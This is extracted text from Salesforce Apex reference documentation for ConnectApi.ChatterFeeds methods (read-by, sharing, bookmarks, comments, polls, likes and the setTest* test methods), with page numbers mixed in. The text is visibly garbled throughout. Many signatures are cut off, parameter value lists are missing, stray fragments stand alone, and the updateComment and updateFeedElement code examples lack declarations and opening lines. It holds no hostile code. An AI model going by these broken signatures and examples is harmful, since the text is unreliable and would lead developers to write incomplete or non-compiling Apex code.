feedElementId, ConnectApi.ReadByCapabilityInput readBy)
1082
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element to mark as read.
readBy
Type: ConnectApi.ReadByCapabilityInput
A ConnectApi.ReadByCapabilityInput body indicating to mark the feed elements as read.
Return Value
Type: ConnectApi.ReadByCapability
setIsReadByMe(communityId, feedElementId, isReadByMe)

Mark a feed element as read for the context user.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.ReadByCapability setIsReadByMe(String communityId, String
feedElementId, Boolean isReadByMe)
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element to mark as read.
isReadByMe
Type: Boolean
Specifies to mark the feed element as read (true) for the context user.
1083
Return Value
Type: ConnectApi.ReadByCapability
shareFeedElement(communityId, subjectId, feedElementType, originalFeedElementId)

Share the originalFeedElementId as the context user.
API Version
31.0–38.0
Important: In version 39.0 and later, use postFeedElement(communityId, feedElement) or

updateFeedElement(communityId, feedElementId, feedElement) with the ConnectApi.
FeedEntityShareCapabilityInput to share a feed entity with a feed element.
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement shareFeedElement(String communityId, String
subjectId, ConnectApi.FeedElementType feedElementType, String originalFeedElementId)
Parameters
communityId
Type: String
subjectId
Type: String
The ID of the user or group with whom to share the feed element.
feedElementType
Type: ConnectApi.FeedElementType
Values are:
• Bundle—A container of feed elements. A bundle also has a body made up of message segments that can always be gracefully
degraded to text-only values.
• FeedItem—A feed item has a single parent and is scoped to one community or across all communities. A feed item can have
capabilities such as bookmarks, canvas, content, comment, link, poll. Feed items have a body made up of message segments
that can always be gracefully degraded to text-only values.
• Recommendation—A recommendation is a feed element with a recommendations capability. A recommendation suggests
records to follow, groups to join, or applications that are helpful to the context user.
originalFeedElementId
Type: String
The ID of the feed element to share.
1084
Return Value
Example
ConnectApi.ChatterFeeds.shareFeedElement(null, '0F9RR0000004CPw',
ConnectApi.FeedElementType.FeedItem, '0D5RR0000004Gxc');
shareFeedItem(communityId, feedType, subjectId, originalFeedItemId)

Share the originalFeedItemId to the feed specified by the feedType.
API Version
28.0–31.0
Important:
• In version 32.0–38.0, use shareFeedElement(communityId, subjectId, feedElementType,
originalFeedElementId).
• In version 39.0 and later, use postFeedElement(communityId, feedElement) or
updateFeedElement(communityId, feedElementId, feedElement) with the ConnectApi.
FeedEntityShareCapabilityInput.
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem shareFeedItem(String communityId, ConnectApi.FeedType
feedType, String subjectId, String originalFeedItemId)
Parameters
communityId
Type: String
feedType
• News
• Record
• UserProfile
To share a feed item with a group, use Record and use a group ID as the subjectId.
subjectId
Type: String
1085
The value depends on the value of feedType:

• News—subjectId must be the ID of the context user or the keyword me.
• Record—subjectId can be a group ID or the ID of the context user (or me).
• UserProfile—subjectId can be any user ID.
originalFeedItemId
Type: String
The ID of the feed item to share.
Return Value
Example
To share a feed item with a group, pass in to this method the community ID (or null), the feed type Record, the group ID, and the
ID of the feed item to share.
ConnectApi.ChatterFeeds.shareFeedItem(null, ConnectApi.FeedType.Record, '0F9D00000000izf',
'0D5D0000000JuAG');
updateBookmark(communityId, feedItemId, isBookmarkedByCurrentUser)

Bookmarks the specified feed item or removes a bookmark from the specified feed item.
API Version
28.0–31.0
Important: In version 32.0 and later, use updateFeedElementBookmarks(communityId, feedElementId, bookmarks),

updateFeedElementBookmarks(communityId, feedElementId, bookmarks), or updateFeedElementBookmarks(communityId,
feedElementId, isBookmarkedByCurrentUser).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedItem updateBookmark(String communityId, String feedItemId,
Boolean isBookmarkedByCurrentUser)
Parameters
communityId
Type: String
feedItemId
Type: String
1086
isBookmarkedByCurrentUser
Type: Boolean
—Specifying true adds the feed item to the list of bookmarks for the context user. Specify false to remove a bookmark.
Return Value
updateComment(communityId, commentId, comment)

Edits a comment.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.Comment updateComment(String communityId, String commentId,
ConnectApi.CommentInput comment)
Parameters
communityId
Type: String
commentId
Type: String
ID of the comment to be edited.
comment
Information about the comment to be edited.
Return Value
If the comment doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
Example
String commentId;
1087

return null;
}
ConnectApi.CommentPage commentPage =
ConnectApi.ChatterFeeds.getCommentsForFeedElement(communityId, feedElementId);
if (commentPage.items.isEmpty()) {
return null;
}
commentId = commentPage.items[0].id;
ConnectApi.ChatterFeeds.isCommentEditableByMe(communityId, commentId);
textSegmentInput.text = 'This is my edited comment.';

ConnectApi.Comment editedComment = ConnectApi.ChatterFeeds.updateComment(communityId,

commentId, commentInput);
}
updateDirectMessage(communityId, feedElementId, directMessage)

Update the members of a direct message.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.DirectMessageCapability updateDirectMessage(String communityId,
String feedElementId, ConnectApi.DirectMessageCapabilityInput directMessage)
1088
Parameters
communityId
Type: String
feedElementId
Type: String
directMessage
Type: ConnectApi.DirectMessageCapabilityInput
A ConnectApi.DirectMessageCapabilityInput body that includes the members to add and remove.
Return Value
Type: ConnectApi.DirectMessageCapability
updateFeedElement(communityId, feedElementId, feedElement)

Edits a feed element. Feed items are the only type of feed element that can be edited.
API Version
34.0
Requires Chatter
Yes
Signature
public static ConnectApi.FeedElement updateFeedElement(String communityId, String
feedElementId, ConnectApi.FeedElementInput feedElement)
Parameters
communityId
Type: String
feedElementId
Type: String
ID of the feed element to be edited. Feed items are the only type of feed element that can be edited.
feedElement
Information about the feed element to be edited. Feed items are the only type of feed element that can be edited.
1089
Return Value
If the feed element doesn’t support the edit capability, the return value is ConnectApi.NotFoundException.
Example for Editing a Feed Post


return null;
}
textSegmentInput.text = 'This is my edited post.';

}
Example for Editing a Question Title and Post


return null;
}
1090

ConnectApi.QuestionAndAnswersCapabilityInput questionAndAnswersCapabilityInput = new
textSegmentInput.text = 'This is my edited question.';

feedElementCapabilitiesInput.questionAndAnswers = questionAndAnswersCapabilityInput;
questionAndAnswersCapabilityInput.questionTitle = 'Where is my edited question?';
}
updateFeedElementBookmarks(communityId, feedElementId, bookmarks)

Bookmark or unbookmark a feed element by passing a ConnectApi.BookmarksCapabilityInput object.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, ConnectApi.BookmarksCapabilityInput bookmarks)
Parameters
communityId
Type: String
feedElementId
Type: String
1091
bookmarks
Type: ConnectApi.BookmarksCapabilityInput
Information about a bookmark.
Return Value
Type: ConnectApi.BookmarksCapability
updateFeedElementBookmarks(communityId, feedElementId, isBookmarkedByCurrentUser)

Bookmark or unbookmark a feed element by passing a boolean value.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.BookmarksCapability updateFeedElementBookmarks(String
communityId, String feedElementId, Boolean isBookmarkedByCurrentUser)
Parameters
communityId
Type: String
feedElementId
Type: String
isBookmarkedByCurrentUser
Type: Boolean
Specify whether to bookmark the feed element (true) or not (false).
Return Value
Type: ConnectApi.BookmarksCapability
Example
ConnectApi.BookmarksCapability bookmark =
ConnectApi.ChatterFeeds.updateFeedElementBookmarks(null, '0D5D0000000KuGh', true);
1092
updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, readBy)

Mark multiple feed elements as read by the context user at the same time using an input body.
API Version
40.0
Requires Chatter
Yes
Signature
public static ConnectApi.BatchResult[] updateFeedElementReadByCapabilityBatch(String
communityId, List<String> feedElementIds, ConnectApi.ReadByCapabilityInput readBy)
Parameters
communityId
Type: String
feedElementIds
Type: String
Up to 500 feed element IDs to mark as read.
readBy
Type: ConnectApi.ReadByCapabilityInput
A ConnectApi.ReadByCapabilityInput body indicating to mark the feed elements as read.
Return Value
The returned objects correspond to each of the input objects and are returned in the same order as the input objects.
The method call fails only if an error occurs that affects the entire operation (such as a parsing failure). If an individual object causes an
error, the error is embedded within the ConnectApi.BatchResult list.
updateFeedElementReadByCapabilityBatch(communityId, feedElementIds, isReadByMe)

Mark multiple feed elements as read by the context user at the same time.
API Version
40.0
Requires Chatter
Yes
1093
Signature
public static ConnectApi.BatchResult[] updateFeedElementReadByCapabilityBatch(String
communityId, List<String> feedElementIds, Boolean isReadByMe)
Parameters
communityId
Type: String
feedElementIds
Type: String
Up to 500 feed element IDs to mark as read.
isReadByMe
Type: Boolean
Specifies to mark the feed element as read (true) for the context user.
Return Value
updateLikeForComment(communityId, commentId, isLikedByCurrentUser)

Like or unlike a comment.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage updateLikeForComment(String communityId, String
commentId, Boolean isLikedByCurrentUser)
Parameters
communityId
Type: String
commentId
Type: String
ID of the comment.
1094
isLikedByCurrentUser
Type: Boolean
Specifies if the context user likes (true) or unlikes (false) the comment.
Return Value
updateLikeForFeedElement(communityId, feedElementId, isLikedByCurrentUser)

Like or unlike a feed element.
API Version
39.0
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterLikePage updateLikeForFeedElement(String communityId,
String feedElementId, Boolean isLikedByCurrentUser)
Parameters
communityId
Type: String
feedElementId
Type: String
isLikedByCurrentUser
Type: Boolean
Specifies if the context user likes (true) or unlikes (false) the feed element.
Return Value
updatePinnedFeedElements(communityId, feedType, subjectId, pin) (Beta)

Pin or unpin feed elements to a group or topic feed.
1095
API Version
41.0

41.0
Requires Chatter
Yes
Signature
public static ConnectApi.PinCapability updatePinnedFeedElements(String communityId,
ConnectApi.FeedType feedType, String subjectId, ConnectApi.PinCapabilityInput pin)
Parameters
communityId
Type: String
feedType
The type of feed. Valid values are Record and Topics.
subjectId
Type: String
If feedType is Record, subjectId must be a group ID. If feedType is Topics, subjectId must be a topic ID.
pin
Type: ConnectApi.PinCapabilityInput
A ConnectApi.PinCapabilityInput object indicating the feed element to pin or unpin.
Return Value
Type: ConnectApi.PinCapability
If the feed doesn’t support this capability, the return value is ConnectApi.NotFoundException.
updateStream(communityId, streamId, streamInput)

Update a Chatter feed stream.
API Version
39.0
1096
Requires Chatter
Yes
Signature
public static ConnectApi.ChatterStream updateStream(String communityId, String streamId,
ConnectApi.ChatterStreamInput streamInput)
Parameters
communityId
Type: String
streamId
Type: String
streamInput
Type: ConnectApi.ChatterStreamInput
A ConnectApi.ChatterStreamInput object.
Return Value
voteOnFeedElementPoll(communityId, feedElementId, myChoiceId)

Vote on a poll or change your vote on a poll.
API Version
32.0
Requires Chatter
Yes
Signature
public static ConnectApi.PollCapability voteOnFeedElementPoll(String communityId, String
feedElementId, String myChoiceId)
Parameters
communityId
Type: String
feedElementId
Type: String
1097

myChoiceId
Type: String
The ID of the poll item to vote for. The key prefix for poll items is 09A.
Return Value
Type: ConnectApi.PollCapability Class
Example
ConnectApi.PollCapability poll = ConnectApi.ChatterFeeds.voteOnFeedElementPoll(null,
'0D5D0000000XZaUKAW', '09AD000000000TKMAY');
voteOnFeedPoll(communityId, feedItemId, myChoiceId)

Used to vote or to change your vote on an existing feed poll.
API Version
28.0–31.0
Important: In version 32.0 and later, use voteOnFeedElementPoll(communityId, feedElementId, myChoiceId).
Requires Chatter
Yes
Signature
public static ConnectApi.FeedPoll voteOnFeedPoll(String communityId, String feedItemId,
String myChoiceId)
Parameters
communityId
Type: String
feedItemId
Type: String
Specify the feed item that is associated with the poll.
myChoiceId
Type: String
Specify the ID of the item in the poll to vote for.
1098
Return Value
Type: ConnectApi.FeedPoll
ChatterFeeds Test Methods

The following are the test methods for ChatterFeeds. All methods are static.
setTestGetFeedElementsFromFeed(communityId, feedType, result)

Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsFromFeed is called with
matching parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFeed(String communityId, ConnectApi.FeedType
feedType, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
and PendingReview.
result
Return Value
Type: Void
SEE ALSO:
1099
setTestGetFeedElementsFromFeed(communityId, feedType, pageParam, pageSize, sortParam,

result)
API Version
31.0
Signature
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
Parameters
communityId
Type: String
feedType
The only valid value for this parameter is Company.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
1100
Return Value
Type: Void
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

API Version
31.0
Signature
feedType, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
1101
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
setTestGetFeedElementsFromFeed(communityId, feedType, recentCommentCount, density,

pageParam, pageSize, sortParam, filter, result)
API Version
32.0
Signature
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedFilter filter,
1102
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
filter
1103
permission.
permission.
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam, filter)
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, result)

API Version
31.0
Signature
feedType, String subjectId, ConnectApi.FeedElementPage result)
1104
Parameters
communityId
Type: String
feedType
The feed type.
subjectId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam, result)
API Version
31.0
Signature
feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
1105
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
setTestGetFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, result)
1106
API Version
31.0
Signature
feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
1107
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)

density, pageParam, pageSize, sortParam, showInternalOnly, result)
API Version
31.0
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean
showInternalOnly, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
1108
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
showInternalOnly
Type: Boolean
false.
result
1109
Return Value
Type: Void
SEE ALSO:
showInternalOnly)

density, pageParam, pageSize, sortParam, filter, result)
matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
35.0
Signature
ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
1110
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
filter
future.
result
Return Value
Type: Void
SEE ALSO:
filter)
1111

density, pageParam, pageSize, sortParam, customFilter, result)
API Version
40.0
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
customFilter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
1112
sortParam
Values are:
customFilter
Type: String
result
Return Value
Type: Void
SEE ALSO:
customFilter)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, result)
API Version
31.0
Signature
feedType, String subjectId, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedElementPage
result)
1113
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1114

showInternalOnly
Type: Boolean
false.
result
Return Value
Type: Void
SEE ALSO:
pageSize, sortParam, showInternalOnly)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly, filter,
result)
API Version
32.0
Signature
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, ConnectApi.FeedFilter
filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
1115
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
showInternalOnly
Type: Boolean
false.
filter
1116

permission.
permission.
result
Return Value
Type: Void
SEE ALSO:
pageSize, sortParam, showInternalOnly, filter)

elementsPerBundle, density, pageParam, pageSize, sortParam, showInternalOnly,
customFilter, result)
API Version
40.0
1117
Signature
ConnectApi.FeedSortOrder sortParam, Boolean showInternalOnly, String customFilter,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1118
showInternalOnly
Type: Boolean
false.
customFilter
Type: String
result
Return Value
Type: Void
SEE ALSO:
pageSize, sortParam, showInternalOnly, customFilter)
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, result)

Registers a ConnectApi.FeedElementPage object to be returned when the matching getFeedElements
FromFilterFeed method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
1119

subjectId
Type: String
keyPrefix
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam, result)
API Version
31.0
Signature
subjectId, String keyPrefix, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
1120
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
setTestGetFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize, sortParam,
result)
API Version
31.0
1121
Signature
subjectId, String keyPrefix, Integer recentCommentCount, Integer elementsPerBundle,
ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1122
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle, density, pageParam,
setTestGetFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, elementsPerBundle, density, pageParam, pageSize, updatedSince,
result)
Registers a ConnectApi.FeedElementPage object to be returned when the
getFeedElementsFromFilterFeedUpdatedSince method is called in a test context.
API Version
31.0
Signature
public static Void setTestGetFeedElementsFromFilterFeedUpdatedSince(String communityId,
String subjectId, String keyPrefix, Integer recentCommentCount, Integer
String updatedSince, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
subjectId
Type: String
1123

keyPrefix
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix, recentCommentCount, elementsPerBundle,
1124
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

Registers a ConnectApi.FeedElementPage object to be returned when getFeedElementsUpdatedSince is called
with matching parameters in a test context. Use the method with the same parameters or the code throws an exception.
API Version
31.0
Signature
public static Void setTestGetFeedElementsUpdatedSince(String communityId,
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedElementPage
result)
Parameters
communityId
Type: String
feedType
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
1125
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince)
setTestGetFeedElementsUpdatedSince(communityId, feedType, recentCommentCount,

density, pageParam, pageSize, updatedSince, filter, result)
API Version
32.0
Signature
String pageParam, Integer pageSize, String updatedSince, ConnectApi.FeedFilter filter,
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
1126

pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
filter
permission.
permission.
result
1127
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, recentCommentCount, density, pageParam, pageSize, updatedSince, filter)
setTestGetFeedElementsUpdatedSince(communityId, feedType, subjectId,

recentCommentCount, density, pageParam, pageSize, updatedSince, result)
API Version
31.0
Signature
Parameters
communityId
Type: String
feedType
• Files
• Groups
• News
• People
• Record
subjectId
Type: String
recentCommentCount
Type: Integer
1128
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize,
updatedSince)

recentCommentCount, density, pageParam, pageSize, updatedSince, showInternalOnly,
result)
API Version
31.0
1129
Signature
Boolean showInternalOnly, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
1130
false.
result
Return Value
Type: Void
SEE ALSO:
getFeedElementsUpdatedSince(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, updatedSince,
showInternalOnly)

filter, result)
API Version
35.0
Signature
String updatedSince, ConnectApi.FeedFilter filter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
1131
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
filter
future.
result
Return Value
Type: Void
SEE ALSO:
pageSize, updatedSince, filter)
1132

customFilter, result)
API Version
40.0
Signature
String updatedSince, String customFilter, ConnectApi.FeedElementPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
1133
pageSize
Type: Integer
updatedSince
Type: String
customFilter
Type: String
result
Return Value
Type: Void
SEE ALSO:
pageSize, updatedSince, customFilter)

showInternalOnly, result)
API Version
31.0
Signature
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedElementPage result)
1134
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
result
1135
Return Value
Type: Void
SEE ALSO:
pageSize, updatedSince, showInternalOnly)

showInternalOnly, filter, result)
API Version
32.0
Signature
String updatedSince, Boolean showInternalOnly, ConnectApi.FeedFilter filter,
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
1136
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
filter
permission.
1137
permission.
result
Return Value
Type: Void
SEE ALSO:
pageSize, updatedSince, showInternalOnly, filter)

showInternalOnly, customFilter, result)
API Version
40.0
Signature
String updatedSince, Boolean showInternalOnly, String customFilter,
Parameters
communityId
Type: String
feedType
1138
subjectId
Type: String
The ID of a case.
recentCommentCount
Type: Integer
elementsPerBundle
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
updatedSince
Type: String
showInternalOnly
Type: Boolean
false.
customFilter
Type: String
result
1139
Return Value
Type: Void
SEE ALSO:
pageSize, updatedSince, showInternalOnly, customFilter)
setTestGetFeedItemsFromFeed(communityId, feedType, result)

Registers a ConnectApi.FeedItemPage object to be returned when getFeedItemsFromFeed is called with matching
parameters in a test context. Use the get feed method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFeed(String communityId, ConnectApi.FeedType
feedType, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
and PendingReview.
result
Return Value
Type: Void
SEE ALSO:
1140
setTestGetFeedItemsFromFeed(communityId, feedType, pageParam, pageSize, sortParam,

result)
API Version
28.0–31.0
Signature
feedType, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam,
Parameters
communityId
Type: String
feedType
and PendingReview.
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1141
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, recentCommentCount, density,

API Version
29.0–31.0
Signature
Integer pageSize, ConnectApi.FeedSortOrder sortParam, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
and PendingReview.
recentCommentCount
Type: Integer
density
1142
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, recentCommentCount, density, pageParam, pageSize, sortParam)
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, result)

API Version
28.0–31.0
1143
Signature
feedType, String subjectId, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize,

sortParam, result)
API Version
28.0–31.0
Signature
1144
Parameters
communityId
Type: String
feedType
subjectId
Type: String
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
1145
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam)
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, result)
API Version
29.0–31.0
Signature
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
1146
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam)
setTestGetFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount,

density, pageParam, pageSize, sortParam, showInternalOnly, result)
API Version
30.0–31.0
1147
Signature
String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, Boolean
showInternalOnly, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
feedType
subjectId
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1148

showInternalOnly
Type: Boolean
false.
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam,
showInternalOnly)
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, result)

Registers a ConnectApi.FeedItemPage object to be returned when the matching getFeedItemsFromFilterFeed
method is called in a test context. Use the method with the same parameters or the code throws an exception.
API Version
28.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeed(String communityId, String
subjectId, String keyPrefix, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
1149
keyPrefix
Type: String
result
Return Value
Type: Void
SEE ALSO:
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam,

pageSize, sortParam, result)
API Version
28.0–31.0
Signature
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
pageParam
Type: String
1150
pageSize
Type: Integer
sortParam
Values are:
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, pageParam, pageSize, sortParam)
setTestGetFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, result)
API Version
29.0–31.0
Signature
subjectId, String keyPrefix, Integer recentCommentCount, ConnectApi.FeedDensity density,
1151
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
recentCommentCount
Type: Integer
density
pageParam
Type: String
pageSize
Type: Integer
sortParam
Values are:
1152
result
Return Value
Type: Void
SEE ALSO:
getFeedItemsFromFilterFeed(communityId, subjectId, keyPrefix, recentCommentCount, density, pageParam, pageSize, sortParam)
setTestGetFeedItemsFromFilterFeedUpdatedSince(communityId, subjectId, keyPrefix,

recentCommentCount, density, pageParam, pageSize, sortParam, updatedSince, result)
Registers a ConnectApi.FeedItemPage object to be returned when the
getFeedItemsFromFilterFeedUpdatedSince method is called in a test context.
API Version
30.0–31.0
Signature
public static Void setTestGetFeedItemsFromFilterFeedUpdatedSince(String communityId,
density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String
updatedSince, ConnectApi.FeedItemPage result)
Parameters
communityId
Type: String
subjectId
Type: String
keyPrefix
Type: String
